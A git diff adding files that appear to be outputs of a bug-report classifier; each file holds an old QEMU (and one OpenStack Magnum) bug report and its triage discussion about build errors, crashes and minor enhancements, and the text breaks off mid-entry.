a/results/classifier/deepseek-1/output/other/1006702 b/results/classifier/deepseek-1/output/other/1006702 new file mode 100644 index 00000000..80785f27 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1006702 @@ -0,0 +1,14 @@ + +something wrong in function type_initialize() in object.c in the source code of qemu-1.1.0 + +In the function type_initialize() in file object.c, about line 237, the sentence : + memset((void *)ti->class + class_size, 0, ti->class_size - class_size); +after the + if (type_has_parent(ti)){} +will clean the information copied from the parent in the if block. +I'm wondering whether this will lead to a bug. Thanks. + +That code has been remove with this commit: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=745549c8d0273d3a3d9c3701 +... so I think we can close this ticket nowadays. + diff --git a/results/classifier/deepseek-1/output/other/1054812 b/results/classifier/deepseek-1/output/other/1054812 new file mode 100644 index 00000000..e7cbc075 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1054812 @@ -0,0 +1,12 @@ + +Configure uses wrong libtool on Darwin + +On Darwin/OS X, there are two versions of libtool: the GNU libtool, and Apple's libtool. Both are installed, but Apple's libtool (libtool) won't build libcacard that Qemu uses, but Gnu's libtool (glibtool) does. I get around using Apple's libtool by passing LIBTOOL=glibtool when configuring; unfortunately this variable isn't preserved so when Qemu's configure changes it's not passed. A simple switch in the configure script could check for Darwin, then if present, use glibtool. Or configure could check the features of libtool, see if they can build libcacard, then look for alternatives like glibtool. + +This bug was probably introduced when libcacard was added to Qemu, and is present in commit 93b6599734f81328ee3d608f57667742cafeea72. + +Since libcacard is not longer part of QEMU, I assume this is not an issue anymore today. So can we close this bug nowadays? + +Yes, libtool handling was removed entirely in commit e999ee443496b, so this bug is no longer present. + + diff --git a/results/classifier/deepseek-1/output/other/1090615 b/results/classifier/deepseek-1/output/other/1090615 new file mode 100644 index 00000000..be488149 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1090615 @@ -0,0 +1,31 @@ + + RFE: More info in qemu-img info/check + +Originally filed in Fedora bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=861375 + +""" +qemu-img info currently give me info like this: + +image: /home/alex/.local/share/gnome-boxes/images/Fedora 16 +file format: qcow2 +virtual size: 11G (11794287616 bytes) +disk size: 4.5G +cluster_size: 65536 + +In order to figure out the "health" of an image there is some more information I would like: + +in-use disk size - I.e the subset of disk size that is not marked as unused due to e.g. TRIM operations + +amount of compressed clusters. I.e. "is it useful to re-compress the image". + +Fragmentation estimation. + +This would be useful to both sysadmins in general and for automated things like +what we want to do in gnome-boxes: +https://bugzilla.gnome.org/show_bug.cgi?id=685032 +""" + +As mentioned in the original report, qemu-img check currently has fragmentation stats, but only for QED. + +qemu-img check has reported allocated clusters, compressed clusters and fragmentation for qcow2 images since February 2013 (QEMU 1.5). + diff --git a/results/classifier/deepseek-1/output/other/1133769 b/results/classifier/deepseek-1/output/other/1133769 new file mode 100644 index 00000000..fcc4ab60 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1133769 @@ -0,0 +1,33 @@ + +qtest failures leave orphaned qemu processes hanging around + +If a qtest test case fails, it leaves orphaned qemu processes hanging around. On Fedora 18 with qemu.git as of today ( Feb 26 2013), the patch just forces a test failure + +ps axwww | grep qemu | grep -v grep +$ make check-qtest-x86_64 + CC tests/rtc-test.o + LINK tests/rtc-test +GTESTER check-qtest-x86_64 + +$ ps axwww | grep qemu | grep -v grep +$ patch -p1 < force-test-failure.patch +patching file tests/rtc-test.c + +$ make check-qtest-x86_64 + CC tests/rtc-test.o + LINK tests/rtc-test +GTESTER check-qtest-x86_64 +** +ERROR:tests/rtc-test.c:256:bcd_check_time: assertion failed: (0) +GTester: last random seed: R02Sf2521dda395a2713128e0cbf86651a21 +make: *** [check-qtest-x86_64] Error 1 + +$ ps axwww | grep qemu | grep -v grep +26258 pts/0 Sl 0:00 x86_64-softmmu/qemu-system-x86_64 -qtest unix:/tmp/qtest-26256.sock,nowait -qtest-log /dev/null -qmp unix:/tmp/qtest-26256.qmp,nowait -pidfile /tmp/qtest-26256.pid -machine accel=qtest -display none -rtc clock=vm + +The problem is that an assertion failure in a test case causes the test program to exit(2) without hitting the qtest cleanup. + +I think this has been fixed sometime in the past already. Or can you still reproduce this problem with the latest version of QEMU? + +It appears this is fixed, I haven't seen it in a while + diff --git a/results/classifier/deepseek-1/output/other/1136477 b/results/classifier/deepseek-1/output/other/1136477 new file mode 100644 index 00000000..b244a311 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1136477 @@ -0,0 +1,18 @@ + +qemu doesn't sanitize command line options carrying plaintext passwords + +A slight security problem exists with qemu's lack of sanitization of argv[], for cases where the user may have specified a plaintext password for spice/vnc authorization. (Yes, it's not great to use this facility, but it's convenient and not grotesquely unsafe, were it not for this bug.) It would be nice if those plaintext passwords were nuked from the command line, so a subsequent "ps awux" didn't show them for all to see. + +See also https://bugzilla.redhat.com/show_bug.cgi?id=916279 + +Hi, + +Thanks for submitting this report. I've removed the security label from the bug after reading through the comments and the referenced bug. Modifying argv is not terribly portable and I think a reasonable person would expect that a password specified on the command line would be visible through a ps. + +Patches would certainly be considered but I don't consider this a security issue. Just a request for an enhancement. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1179664 b/results/classifier/deepseek-1/output/other/1179664 new file mode 100644 index 00000000..513ab8a1 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1179664 @@ -0,0 +1,52 @@ + +migration.c:293: undefined reference to `__sync_val_compare_and_swap_4' + +latest git qemu error i get on compiling with mingw + + LINK i386-softmmu/qemu-system-i386w.exe +../migration.o: In function `migrate_finish_set_state': +C:\MinGW\msys\1.0\home\therock247uk\qemu/migration.c:293: undefined reference to + `__sync_val_compare_and_swap_4' +C:\MinGW\msys\1.0\home\therock247uk\qemu/migration.c:293: undefined reference to + `__sync_val_compare_and_swap_4' +C:\MinGW\msys\1.0\home\therock247uk\qemu/migration.c:293: undefined reference to + `__sync_val_compare_and_swap_4' +collect2.exe: error: ld returned 1 exit status +make[1]: *** [qemu-system-i386w.exe] Error 1 +make: *** [subdir-i386-softmmu] Error 2 + +On Mon, May 13, 2013 at 08:46:27PM -0000, therock247uk wrote: +> Public bug reported: +> +> latest git qemu error i get on compiling with mingw +> +> LINK i386-softmmu/qemu-system-i386w.exe +> ../migration.o: In function `migrate_finish_set_state': +> C:\MinGW\msys\1.0\home\therock247uk\qemu/migration.c:293: undefined reference to +> `__sync_val_compare_and_swap_4' +> C:\MinGW\msys\1.0\home\therock247uk\qemu/migration.c:293: undefined reference to +> `__sync_val_compare_and_swap_4' +> C:\MinGW\msys\1.0\home\therock247uk\qemu/migration.c:293: undefined reference to +> `__sync_val_compare_and_swap_4' +> collect2.exe: error: ld returned 1 exit status +> make[1]: *** [qemu-system-i386w.exe] Error 1 +> make: *** [subdir-i386-softmmu] Error 2 + +Please post your gcc version: + + $ gcc --version + + +therock247uk@dell-PC ~ +$ gcc --version +gcc.exe (GCC) 4.7.2 +Copyright (C) 2012 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + + +therock247uk@dell-PC ~ +$ + +I assume this had been fixed by this commit here: http://git.qemu.org/?p=qemu.git;a=commitdiff;h=1405b6290fa2143e02dce - so I'm closing this ticket now. If you still hit the problem with the latest version of QEMU, please feel free to open this ticket again. + diff --git a/results/classifier/deepseek-1/output/other/1252010 b/results/classifier/deepseek-1/output/other/1252010 new file mode 100644 index 00000000..54b0b042 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1252010 @@ -0,0 +1,17 @@ + +can't assign enough RAM to the VM + +QEMU version: 1.6.90.0 from 2013 11 16 +Host OS: Windows XP SP3 x86 +Host machine: 3.2 GHz AMD Athlon 64 dual core processor, 4 GB DDR II (3.2 seen by the OS) memory +Guest OS: Grub4Dos boot manager menu +Problem: you can't assign more than 880 MB memory to the VM, although with 0.15.1.0 version you can assign up to 1179 MB. + +QEMU currently needs contiguous memory for the guest memory. Hosts running 32 bit Windows only provide about 2 GiB for programs. This 2 GiB is used for the executable, all loaded dlls and dynamic memory. Especially the dlls cause memory fragmentation, so newer versions of QEMU which need more dlls get less contiguous memory. + +Running 32 bit QEMU on 64 bit Windows helps, and 64 bit QEMU also has no problem with allocating a large guest RAM. + +Could we close this bug now - I think most people are using 64-bit host systems nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1292037 b/results/classifier/deepseek-1/output/other/1292037 new file mode 100644 index 00000000..7086cf8c --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1292037 @@ -0,0 +1,20 @@ + +Solaris 10 x86 guest crashes qemu with -icount 1 option + +Commit: f53f3d0a00b6df39ce8dfca942608e5b6a9a4f71 on qemu.git + +Solaris image: Solaris 10 x86 (32 bit) + +command: ./i386-softmmu/qemu-system-i386 -hda <image-file> -m 2G -icount 1 -monitor stdio + +Crashes saying: +qemu: Fatal: Raised interrupt while not in I/O function + +Host: +ubuntu x86_64 3.2.0-56 generic +intel xeon E5649 @ 2.53GHz + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1299858 b/results/classifier/deepseek-1/output/other/1299858 new file mode 100644 index 00000000..a2ea642c --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1299858 @@ -0,0 +1,31 @@ + +qemu all apps crash on OS X 10.6.8 + +qemu-2.0.0-rc0 (and 1.7.1) crashes with SIGABORT in all apps when configured with --with-coroutine=sigaltstack (which is what configure selects by default) but all run fine if configured with --with-coroutine=gthread. + +Crash is at line 253 (last line of Coroutine *qemu_coroutine_new(void)) in coroutine-sigaltstack.c in 2.0.0-rc0 tarball. + +Platform is OS X 10.6.8 (Darwin Kernel Version 10.8.0), compiler gcc 4.2.1 + +Sorry for the sparse report but I'm short on time today. + +My test system is OS X 10.8.5 built with clang "Apple LLVM version 5.0 (clang-500.2.79) (based on LLVM 3.3svn)", and QEMU works fine there, which suggests a problem either with that version of GCC or that version of MacOSX. + +You might try building with clang rather than gcc; otherwise since I don't have a system to reproduce on (or indeed much interest in tracking down bugs in old versions of MacOS, to be honest) I'm afraid you'll have to investigate this bug yourself if you want a fix for it. + + +I'm not personally worried about a fix for this, I reported it primarily for the benefit of others/the quality of the codebase as a whole. As I said, I got it working with gthreads as the coroutine provider so it's working for my needs. + +Although this seems on the surface to be a problem with the specific platform versions involved it's always possible that this sheds light on something that is either an undiscovered problem on more recent platform versions or will become a problem. + +It's notable that the version of xcode (and hence gcc) involved is the last from Apple with PPC support. It's precisely why I'm using it and it's precisely why someone who's targeting multiple platforms might be using it and qemu in concert. + +It's possible that a fix might be to get configure to select gthreads support for OS X platforms below a certain compiler or OS version, or it may be a deeper issue. + +Unfortunately the gthreads backend is pretty strongly disrecommended -- it is really mostly there as a debug convenience when working with the block code, as there are some bad interactions between signal masking and coroutine switches that mean it's likely to cause problems when using QEMU proper. + + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1324724 b/results/classifier/deepseek-1/output/other/1324724 new file mode 100644 index 00000000..d3ee702a --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1324724 @@ -0,0 +1,42 @@ + +make install fails if running strip + +I do: + ./configure --target-list=arm-softmmu + make + sudo make install + +and see: +install -d -m 0755 "/usr/local/bin" +libtool --quiet --mode=install install -c -m 0755 qemu-ga qemu-nbd qemu-img qemu-io fsdev/virtfs-proxy-helper "/usr/local/bin" +strip "/usr/local/bin/qemu-ga" "/usr/local/bin/qemu-nbd" "/usr/local/bin/qemu-img" "/usr/local/bin/qemu-io" "/usr/local/bin/fsdev/virtfs-proxy-helper" +strip: '/usr/local/bin/fsdev/virtfs-proxy-helper': No such file +Makefile:379: recipe for target 'install' failed +make: *** [install] Error 1 + + +Host is Odroid-XU running Debian Jessie. +Source is at d7d3d6092cb7edc75dc49fb90c86dd5425ab4805 Merge remote-tracking branch 'remotes/afaerber/tags/qom-devices-for-peter' + +libtool version 2.4.2-1.7 armhf + + + +Not sure this is really ARM related, is it? It looks like it will happen any time we do a make install and we're using strip and we've built something in some subdir like fsdev. + +> ** Patch added: "Probably wrong fix." +> https://bugs.launchpad.net/bugs/1324724/+attachment/4122442/+files/fix.patch + +Looks fairly reasonable to me. I think I'd do both places the same way you did the libexec case, though (without the extra make variable). + + +The libexec case doesn't actually work, which is why IO switched to a separate variable. One of the reasons I said the patch is probably wrong. + +I suspect we need something like +$(STRIP) $(addprefix $(DESTDIR)/$(BINDIR), $(notdir ${TOOLS))) + +And I didn't see the problem on x86_64, only on armhf. I think x86_64 doesn't need the fsdev helper. + +This was fixed by commit 0d6594261 back in 2014. + + diff --git a/results/classifier/deepseek-1/output/other/1336194 b/results/classifier/deepseek-1/output/other/1336194 new file mode 100644 index 00000000..d144a640 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1336194 @@ -0,0 +1,31 @@ + +Errors reporting in do_delvm caused a crash + +In case of multiple errors, it leads to a crash. + +Typical back trace: +#0 <in libc> in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 +#1 <in libc> in __GI_abort () at abort.c:90 +#2 <in libc> in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=<in libc> "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/unix/sysv/linux/libc_fatal.c:196 +#3 <in libc> in malloc_printerr (action=3, str=<in libc> "double free or corruption (out)", ptr=<optimized out>) at malloc.c:4902 +#4 <in libc> in _int_free (av=<optimized out>, p=<in heap chunk>, have_lock=0) at malloc.c:3758 +#5 <in qemu binary> in error_free (err=<in heap chunk>) at util/error.c:166 +#6 <in qemu binary> in do_delvm (mon=<in heap chunk>, qdict=<optimized out>) at /home/qemudbg/src/qemu/savevm.c:1132 +#7 <in qemu binary> in handle_user_command (mon=mon@entry=<in heap chunk>, cmdline=<optimized out>) at /home/qemudbg/src/qemu/monitor.c:4167 +#8 <in qemu binary> in monitor_command_cb (opaque=<in heap chunk>, cmdline=<optimized out>, readline_opaque=<optimized out>) at /home/qemudbg/src/qemu/monitor.c:4878 +#9 <in qemu binary> in readline_handle_byte (rs=<in heap>, ch=<optimized out>) at util/readline.c:371 +#10 <in qemu binary> in monitor_read (opaque=<optimized out>, buf=<optimized out>, size=<optimized out>) at /home/qemudbg/src/qemu/monitor.c:4861 +#11 <in qemu binary> in qemu_chr_be_write (len=<optimized out>, buf=<in stack> "\n\003", s=<in heap chunk>) at qemu-char.c:165 +#12 tcp_chr_read (chan=<optimized out>, cond=<optimized out>, opaque=<in heap chunk>) at qemu-char.c:2487 +#13 <in libglib> in g_main_context_dispatch () from /usr/lib64/libglib-2.0.so.0 +#14 <in qemu binary> in glib_pollfds_poll () at main-loop.c:190 +#15 os_host_main_loop_wait (timeout=<optimized out>) at main-loop.c:235 +#16 main_loop_wait (nonblocking=<optimized out>) at main-loop.c:484 +#17 <in qemu binary> in main_loop () at vl.c:2051 +#18 main (argc=<optimized out>, argv=<optimized out>, envp=<optimized out>) at vl.c:4507 + + + +Looks like this had been fixed here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=ba2b22888c43f + diff --git a/results/classifier/deepseek-1/output/other/1416246 b/results/classifier/deepseek-1/output/other/1416246 new file mode 100644 index 00000000..414b5555 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1416246 @@ -0,0 +1,56 @@ + +create guest fail when compile qemu with parameter "--disable-gtk" + +Environment: +------------ +Host OS (ia32/ia32e/IA64):ia32e +Guest OS (ia32/ia32e/IA64):ia32e +Guest OS Type (Linux/Windows):Linux +kvm.git Commit:8fff5e374a2f6047d1bb52288af7da119bc75765 +qemu.kvm Commit:16017c48547960539fcadb1f91d252124f442482 +Host Kernel Version:3.19.0-rc3 +Hardware:Ivytown_EP, Haswell_EP + + +Bug detailed description: +-------------------------- +compile the qemu with disable gtk, the create guest , the guest create fail + +note: +1.qemu.git: 699eae17b841e6784dc3864bf357e26bff1e9dfe +when compile the qemu with enable gtk or disable gtk, the guest create pass + +2. this should be a qemu bug +kvm.git + qemu.git = result +8fff5e37 + 16017c48 = bad +8fff5e37 + 699eae17 = good + +Reproduce steps: +---------------- +1. git clone git://vt-sync/qemu.git qemu.git +2. cd qemu.git +3. ./configure --target-list=x86_64-softmmu --disable-sdl --disable-gtk +4. make -j16 +5. ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 4G -smp 2 -net none /root/rhel6u5.qcow + +Current result: +---------------- +create gust fail when compile qemu with disable gtk + +Expected result: +---------------- +create guest pass when compile qemu with disable or enable gtk + +Basic root-causing log: +---------------------- +[root@vt-ivt2 qemu.git]# ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 4G -smp 2 -net none /root/rhel6u5-1.qcow +qemu-system-x86_64: Invalid parameter 'to' +Segmentation fault (core dumped) + +some dmesg message: +qemu-system-x86[96364]: segfault at 24 ip 00007fe6d9636a69 sp 00007fffc03cf970 error 4 in qemu-system-x86_64[7fe6d9330000+4ba000] + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1452230 b/results/classifier/deepseek-1/output/other/1452230 new file mode 100644 index 00000000..4f9233ca --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1452230 @@ -0,0 +1,24 @@ + +Qemu 2.3.0 failes to compile with GCC 5.1.0 and -flto + +Compiling Qemu 2.3.0 failes with the following error: + +x86_64-pc-linux-gnu-g++ -I/usr/include/pixman-1 -fPIE -DPIE -m64 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -fno-common -Wendif-labels -Wmissing-include-dirs -Wempty-body -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wold-style-declaration -Wold-style-definition -Wtype-limits -fstack-protector-strong -I/usr/include/libpng16 -I/usr/include/libusb-1.0 -I/home/gentoo/tmp/portage/app-emulation/qemu-2.3.0/work/qemu-2.3.0/tests -pthread -I/usr/include/glib-2.0 -I/usr/lib64/glib-2.0/include -march=native -O2 -pipe -ggdb -floop-interchange -floop-strip-mine -floop-block -ftree-loop-distribution -fira-loop-pressure -ftree-vectorize -ftree-loop-linear -flto=5 -fuse-linker-plugin -Wl,-z,relro -Wl,-z,now -pie -m64 -Wl,-O1 -Wl,--as-needed -march=native -O2 -pipe -ggdb -floop-interchange -floop-strip-mine -floop-block -ftree-loop-distribution -fira-loop-pressure -ftree-vectorize -ftree-loop-linear -flto=5 -fuse-linker-plugin -Wl,-znow -Wl,--sort-common -Wl,--hash-style=gnu -Wl,--enable-new-dtags -o qemu-img qemu-img.o async.o thread-pool.o nbd.o block.o blockjob.o main-loop.o iohandler.o qemu-timer.o aio-posix.o qemu-io-cmds.o qemu-coroutine.o qemu-coroutine-lock.o qemu-coroutine-io.o qemu-coroutine-sleep.o coroutine-ucontext.o block/raw_bsd.o block/qcow.o block/vdi.o block/vmdk.o block/cloop.o block/dmg.o block/bochs.o block/vpc.o block/vvfat.o block/qcow2.o block/qcow2-refcount.o block/qcow2-cluster.o block/qcow2-snapshot.o block/qcow2-cache.o block/qed.o block/qed-gencb.o block/qed-l2-cache.o block/qed-table.o block/qed-cluster.o block/qed-check.o block/vhdx.o block/vhdx-endian.o block/vhdx-log.o block/parallels.o block/blkdebug.o block/blkverify.o block/block-backend.o block/snapshot.o block/qapi.o block/raw-posix.o block/linux-aio.o block/null.o block/mirror.o block/nbd.o block/nbd-client.o block/sheepdog.o block/accounting.o block/write-threshold.o block/curl.o libqemuutil.a libqemustub.a -lz -lbz2 -laio -lcurl -lm -lgthread-2.0 -pthread -lglib-2.0 -lz -lrt -lz -lcap-ng -luuid -lutil +lto1: error: two or more sections for .gnu.lto_fprintf.2f4a95b725db6827 +(null):0: confused by earlier errors, bailing out +make[1]: *** [/home/gentoo/tmp/portage/app-emulation/qemu-2.3.0/temp/ccEUT6Vq.ltrans11.ltrans.o] Error 1 +make[1]: *** Waiting for unfinished jobs.... +lto-wrapper: fatal error: make returned 2 exit status +compilation terminated. +/usr/lib/gcc/x86_64-pc-linux-gnu/5.1.0/../../../../x86_64-pc-linux-gnu/bin/ld: fatal error: lto-wrapper failed +collect2: error: ld returned 1 exit status +/home/gentoo/tmp/portage/app-emulation/qemu-2.3.0/work/qemu-2.3.0/rules.mak:122: recipe for target 'qemu-img' failed +make: *** [qemu-img] Error 1 + +I've found an old GCC bugreport with the same error: https://gcc.gnu.org/bugzilla/show_bug.cgi?id=52159 (which has been marked as dup of https://gcc.gnu.org/bugzilla/show_bug.cgi?id=59000) . I was able to reduce the object list to to three .o files which reproduce the error reliably: qemu-img.o qemu-io-cmds.o block/qapi.o. + +Please let me know if you need further information. + +This seems to be a GCC bug, not a QEMU bug? I'm going to close this bug, since it has been reported upstream with the GCC folks, and they don't seem to think this is an error on our side. + + diff --git a/results/classifier/deepseek-1/output/other/1453613 b/results/classifier/deepseek-1/output/other/1453613 new file mode 100644 index 00000000..84e80cc1 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1453613 @@ -0,0 +1,18 @@ + +the help message of the set_password subcommand of the qemu monitor isn't usable + +`help set_password` in qemu monitor prints `set_password protocol password action-if-connected -- set spice/vnc password` which doesn't allow to figure out how to use this subcommand. + +I think the 'help' text in the monitor is only really intended as a brief usage summary reminder (in particular "help" on its own prints the concatenation of all the "help foo" command help, so having "help foo" print a long bit of documentation makes "help" output look weird). The full documentation of each command is in the QEMU documentation proper, which is now at https://www.qemu.org/docs/master/system/monitor.html#commands and where the 'set_password' documentation describes the behaviour more fully. + +To make this work in general we'd have to somehow support rendering the rST-format documentation that ends up in the manual as a user response in the monitor, which feels like it would be tricky. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/114 + + diff --git a/results/classifier/deepseek-1/output/other/1497711 b/results/classifier/deepseek-1/output/other/1497711 new file mode 100644 index 00000000..2ac7af1a --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1497711 @@ -0,0 +1,38 @@ + +tests/libqos/ahci.c:745: redundant condition ? + +[qemu/tests/libqos/ahci.c:745]: (style) Redundant condition: props.ncq. '!props.ncq || (props.ncq && props.lba48)' is equivalent to '!props.ncq || props.lba48' + + g_assert(!props->ncq || (props->ncq && props->lba48)); + +On Sun, Sep 20, 2015 at 10:08:49AM -0000, dcb wrote: +> Public bug reported: +> +> [qemu/tests/libqos/ahci.c:745]: (style) Redundant condition: props.ncq. +> '!props.ncq || (props.ncq && props.lba48)' is equivalent to '!props.ncq +> || props.lba48' +> +> g_assert(!props->ncq || (props->ncq && props->lba48)); + +CCing John Snow, AHCI maintainer + + +Fixed in: + +commit 3d937150dce20cb95cbaae99b6fd48dca4261f32 +Author: John Snow <email address hidden> +Date: Mon Oct 5 12:00:55 2015 -0400 + + qtest/ahci: fix redundant assertion + + Fixes https://bugs.launchpad.net/qemu/+bug/1497711 + + (!ncq || (ncq && lba48)) is the same as + (!ncq || lba48). + + The intention is simply: "If a command is NCQ, + it must also be LBA48." + + Signed-off-by: John Snow <email address hidden> + Message-id: <email address hidden> + diff --git a/results/classifier/deepseek-1/output/other/1519037 b/results/classifier/deepseek-1/output/other/1519037 new file mode 100644 index 00000000..d14a0e00 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1519037 @@ -0,0 +1,23 @@ + +qemu-i386 32-bit segfault + +I'm getting segfaults on 32-bit linux trying to run binaries using qemu-i386 from git. These segfaults go away when run in gdb or strace - could it be about the environment somehow? + +In contrast qemu-x86_64 works fine. How can I pinpoint the cause of this? + +Thanks! + +It seems this crash only happens in xterm (and not normal console). + +Having compared the respective environment vars the culprit turned out to be: + +TERM=xterm-color + +You're welcome. + + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1543057 b/results/classifier/deepseek-1/output/other/1543057 new file mode 100644 index 00000000..528a368a --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1543057 @@ -0,0 +1,29 @@ + +Warnings are treated as errors + +System: Ubuntu 14.04, 32bit +Kernel: 3.13.0-55-generic +Qemu: v. 2.2.50 + +Error msg: + +hw/acpi/pcihp.c: In function ‘acpi_pcihp_pc_no_hotplug’: +hw/acpi/pcihp.c:117:34: error: ‘PCIDevice’ has no member named ‘qdev’ + return (pc->is_bridge && !dev->qdev.hotplugged) || !dc->hotpluggable; + ^ +hw/acpi/pcihp.c:118:1: error: control reaches end of non-void function [-Werror=return-type] + } + ^ +cc1: all warnings being treated as errors + +I have same error "PCIDevice has no member named 'qdev'" with you. +Did you find any solutions to this error? + +(a) That warnings are treated as errors is a feature, not a bug (it happens for development builds only) +(b) the definition of struct PCIDevice in include/hw/pci/pci.h starts with "DeviceState qdev;" so it's not clear to me how that error could be produced in the first place + +I see the original submitter was using 2.2.50 -- I suggest using either (a) a release build of QEMU or (b) current master. 2.2.50 will be from somewhere on trunk between 2.2 and 2.3, so might quite possibly have had a build bug that was quickly fixed subsequently. + + +Closing this as invalid - unless you can reproduce this with the latest release version or the current master branch again, then please feel free to open this ticket again. + diff --git a/results/classifier/deepseek-1/output/other/1553760 b/results/classifier/deepseek-1/output/other/1553760 new file mode 100644 index 00000000..4c93648b --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1553760 @@ -0,0 +1,9 @@ + +NUMA node binding are not supported by this QEMU + +I read https://bugs.launchpad.net/ubuntu/+source/qemu/+bug/1417937/, but I don't understand why it was only fixed on Ubunto. +I'm running on Debian 8, openstack kilo, and trying to launch a VM with numa pinning. +Is it not possible to build qemu with CONFIG_NUMA enabled for Debian where libnuma is present? + +it did turn out that my qemu had CONFIG_NUMA disabled. ended up upgrading it which solved it. + diff --git a/results/classifier/deepseek-1/output/other/1585433 b/results/classifier/deepseek-1/output/other/1585433 new file mode 100644 index 00000000..ad1934c8 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1585433 @@ -0,0 +1,12 @@ + +if docker-volume-size of baymodel lessthan 3, bay cann't create + +magnum is running on centos7, + + +magnum baymodel-create --name k8sbaymodel5 --image-id fedora-23-atomic-20160405 --keypair-id testkey --external-network-id public --dns-nameserver 8.8.8.8 --flavor-id m1.small --coe kubernetes --docker-volume-size 5 + +magnum bay-create --name k8sbay5 --baymodel k8sbaymodel5 --node-count 1 + +Execute the above command can get a completed bay,but when docker-volume-size is 1 or 2,the status of bay is FAILED. + diff --git a/results/classifier/deepseek-1/output/other/1589564 b/results/classifier/deepseek-1/output/other/1589564 new file mode 100644 index 00000000..1aa702ab --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1589564 @@ -0,0 +1,40 @@ + +qemu/hw/scsi/scsi-disk.c:2741: possible missing break ? + +qemu/hw/scsi/scsi-disk.c:2741] -> [qemu/hw/scsi/scsi-disk.c:2745]: (warning) Variable 'cdb1' is reassigned a value before the old one has been used. 'break;' missing? +qemu/hw/scsi/scsi-disk.c:2742] -> [qemu/hw/scsi/scsi-disk.c:2746]: (warning) Variable 'group_number' is reassigned a value before the old one has been used. 'break;' missing? + +Source code is + + case 1: + /* 10-byte CDB. */ + r->cdb1 = req->cmd.buf[1]; + r->group_number = req->cmd.buf[6]; + case 4: + /* 12-byte CDB. */ + +Also, + +[qemu/hw/scsi/scsi-disk.c:2063]: (warning) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'signed long'. +[qemu/hw/scsi/scsi-disk.c:2066]: (warning) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'signed long'. +[qemu/hw/scsi/scsi-disk.c:2069]: (warning) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'signed long'. +[qemu/hw/scsi/scsi-disk.c:2083]: (warning) %lu in format string (no. 2) requires 'unsigned long' but the argument type is 'signed long'. + +The issue with the missing break has been fixed here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=ed45cae39117d41315541 + +I am currently not able to reproduce the problem with the format strings ... how did you get them? Which compiler (and version) did you use? + +>I am currently not able to reproduce the problem with the format strings ... +>how did you get them? Which compiler (and version) did you use? + +I used a static analyser for C & C++ called cppcheck. It is available +from sourceforge. I find it very useful. + +I think gcc might be able to reproduce these problems with one of the +higher warning levels. -Wformat=2 springs to mind, but a check of the gcc +documentation around -Wformat will give more accurate guidance. + +The issue with the format strings should now be fixed, too: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=142c21455bb2416b37f71b + diff --git a/results/classifier/deepseek-1/output/other/1614609 b/results/classifier/deepseek-1/output/other/1614609 new file mode 100644 index 00000000..b013a8bf --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1614609 @@ -0,0 +1,53 @@ + +alphabetical order of monitor options + +Looking for the 'continue'/'resume' option I found this order that was not quite 'alphabetical'. +It had me overlook the 'cont' option at glance. Which is just a little impractical. + +... +boot_set 